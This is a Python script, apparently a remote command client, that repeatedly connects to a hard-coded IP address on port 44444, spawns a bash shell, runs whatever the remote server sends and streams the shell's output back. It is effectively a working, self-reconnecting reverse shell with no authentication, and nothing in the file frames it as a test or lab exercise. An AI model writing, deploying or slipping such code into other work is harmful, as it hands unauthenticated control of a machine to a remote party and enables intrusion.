import os
import sys
import socket
import threading
import logging
import time

import subprocess

sys.path.append("/usr1/my/py/site")
import pexpect

logging.basicConfig(level=logging.INFO,
                format='%(asctime)s [%(filename)s-%(lineno)d-%(levelname)s] %(message)s',
                datefmt='%Y-%m-%d %H:%M:%S',
                )

                
def thread(func, *args):
    t = threading.Thread(target=func, args=args)
    t.daemon = True
    t.start()

def getstatusoutput(cmd, cwd=None, env=None, timeout=None):
    shell = True if isinstance(cmd, str) else False
    ret = subprocess.run(cmd, shell=shell, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=cwd, env=env, timeout=timeout)
    try:
        text = ret.stdout.decode('UTF-8')
    except UnicodeDecodeError:
        text = ret.stdout.decode('gbk', errors='ignore')
    return ret.returncode, text

class CmdClient():
    def __init__(self):
        self.server_ip = "7.222.116.186"
        self.server_port = 44444
        os.environ["TMOUT"] = "10000"

    def main(self):
        
        while True:
            try:
                self.child = pexpect.spawn("/bin/bash", timeout=10000)
                self.run()
            except ConnectionRefusedError:
                time.sleep(1)   
            except ConnectionResetError:
                pass
            except OSError:
                pass
            continue

    def run(self):
        cmd_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        cmd_conn.connect((self.server_ip, self.server_port))
        logging.info("连接成功！")
        thread(self.send_stdout, cmd_conn)
        while True:
            data = cmd_conn.recv(1024)
            print(data)
            if data == b"ctrl+c":
                self.child.sendcontrol("c")
                continue
            self.child.sendline(data)

    def send_stdout(self, cmd_conn):
        while True:
            try:
                data = self.child.read(1)
                sys.stdout.write(data.decode())
                cmd_conn.send(data)
            except:
                cmd_conn.close()
                raise

    def send(self, cmd_conn, cmd):
        ret, text = getstatusoutput(cmd)
        print(text)
        cmd_conn.send(text.encode())



if __name__ == '__main__':

    CmdClient().main()
    while 1:
        time.sleep(10000)

        
        